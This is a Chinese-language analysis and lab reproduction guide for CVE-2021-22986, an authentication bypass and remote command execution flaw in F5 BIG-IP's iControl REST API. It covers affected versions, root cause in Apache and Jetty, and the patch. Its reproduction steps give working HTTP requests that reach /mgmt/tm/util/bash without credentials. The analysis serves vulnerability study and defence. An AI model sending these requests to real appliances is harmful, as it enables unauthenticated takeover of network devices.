F5 BIGIP CVE-2021-22986认证绕过漏洞分析
字数 1849 2025-08-27 12:33:37
F5 BIG-IP CVE-2021-22986认证绕过漏洞深入分析与复现指南
漏洞概述
CVE-2021-22986是F5 BIG-IP iControl REST API中的一个严重认证绕过漏洞,CVSS评分为9.8(Critical)。该漏洞允许未经认证的攻击者绕过认证机制,执行任意系统命令。
影响范围
| 产品分支 | 受影响版本 | 修复版本 |
|---|---|---|
| BIG-IP 16.x | 16.0.0 - 16.0.1 | 16.0.1.1 |
| BIG-IP 15.x | 15.1.0 - 15.1.2 | 15.1.2.1 |
| BIG-IP 14.x | 14.1.0 - 14.1.3 | 14.1.4 |
| BIG-IP 13.x | 13.1.0 - 13.1.3 | 13.1.3.6 |
| BIG-IP 12.x | 12.1.0 - 12.1.5 | 12.1.5.3 |
| BIG-IQ 7.x | 7.1.0, 7.0.0 | 7.1.0.3, 7.0.0.2 |
环境搭建
-
下载虚拟机镜像:
- 从F5官网下载BIG-IP虚拟机版OVF镜像(如16.0.0版本)
- 注意:注册账户时选择正确的国家,避免因软件禁运导致下载失败
-
导入虚拟机:
- 使用VMware导入OVF文件
- 初始凭证:root/default,首次登录后需修改密码
-
网络配置:
# 进入系统后执行 config # 修改IP地址为所需值,如172.16.113.247 -
访问Web界面:
- 通过https://[IP地址]访问
- 使用admin/设置的密码登录
漏洞复现
认证绕过原理
漏洞由两部分组成:
-
Apache层绕过:
- 当请求包含
X-F5-Auth-Token头时,Apache的mod_auth_pam.so模块会跳过Basic认证检查 - 即使
X-F5-Auth-Token值为空也能触发绕过
- 当请求包含
-
Jetty层绕过:
- 请求被转发到Jetty服务(8100端口)处理
- Jetty仅检查Basic认证中的用户名,不验证密码
- 使用
admin:(空密码)的Base64编码即可通过认证
复现步骤
-
正常请求(返回401):
POST /mgmt/tm/util/bash HTTP/1.1 Host: 172.16.113.247 Content-type: application/json {"command":"run", "utilCmdArgs": "-c id"} -
仅包含错误Authorization头(返回401):
POST /mgmt/tm/util/bash HTTP/1.1 Host: 172.16.113.247 Authorization: Basic YWRtaW46 # admin:的Base64编码 Content-type: application/json {"command":"run", "utilCmdArgs": "-c id"} -
仅包含X-F5-Auth-Token头(返回401,但Server变为Jetty):
POST /mgmt/tm/util/bash HTTP/1.1 Host: 172.16.113.247 X-F5-Auth-Token: Content-type: application/json {"command":"run", "utilCmdArgs": "-c id"} -
同时包含两个头(认证绕过成功):
POST /mgmt/tm/util/bash HTTP/1.1 Host: 172.16.113.247 Authorization: Basic YWRtaW46 X-F5-Auth-Token: Content-type: application/json {"command":"run", "utilCmdArgs": "-c id"}
技术分析
Apache层分析
-
服务架构:
- 443端口由Apache(httpd)监听
- 版本信息:BIG-IP定制版Apache/2.4.6
-
关键配置:
/etc/httpd/run/config/httpd.conf中定义了/mgmt/路径的代理规则:ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0- 认证配置:
<ProxyMatch /mgmt/> AuthPAM_Enabled on require valid-user </ProxyMatch>
-
认证模块分析:
- 认证由
mod_auth_pam.so处理 - 关键函数
sub_5AF0检查X-F5-Auth-Token头 - 动态调试发现:当存在
X-F5-Auth-Token时,test eax, eax返回0,跳过后续认证检查
- 认证由
Jetty层分析
-
服务架构:
- 8100端口由Java服务监听
- 主类:
com.f5.rest.workers.RestWorkerHost
-
认证流程:
- 请求由
RestServerServlet处理 setIdentityFromAuthenticationData方法进行认证:if (!setIdentityFromDeviceAuthToken(request, completion)) { if (setIdentityFromF5AuthToken(request)) { completion.run(); } else if (setIdentityFromBasicAuth(request)) { completion.run(); } else { completion.run(); } }setIdentityFromBasicAuth仅检查用户名,不验证密码:BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); request.setIdentityData(components.userName, null, null);
- 请求由
-
权限检查绕过:
- 当用户名为
admin时,AuthzHelper.isDefaultAdminRef(userRef)返回true,绕过权限检查
- 当用户名为
修复方案
修复主要集中在RestOperationIdentifier.setIdentityFromBasicAuth方法:
- 增加了对
X-Forwarded-Host头的检查 - 仅允许以下情况直接通过认证:
- 请求来自localhost/127.0.0.1
- 请求来自127.4.2.1且用户名为
f5hubblelcdadmin
- 其他情况需进行完整的密码验证
关键修复代码:
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, null, null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
// 严格的IP和用户名检查
if (!valueList[valueIdx].contains("localhost")
&& !valueList[valueIdx].contains("127.0.0.1")) {
// 要求额外验证
}
}
参考资源
- [CVE-2021-22986:F5 BIG-IP iControl REST未授权远程命令执行漏洞分析]
- [F5从认证绕过到远程代码执行漏洞分析]
- [F5 BIGIP iControl REST CVE-2021-22986漏洞分析与利用]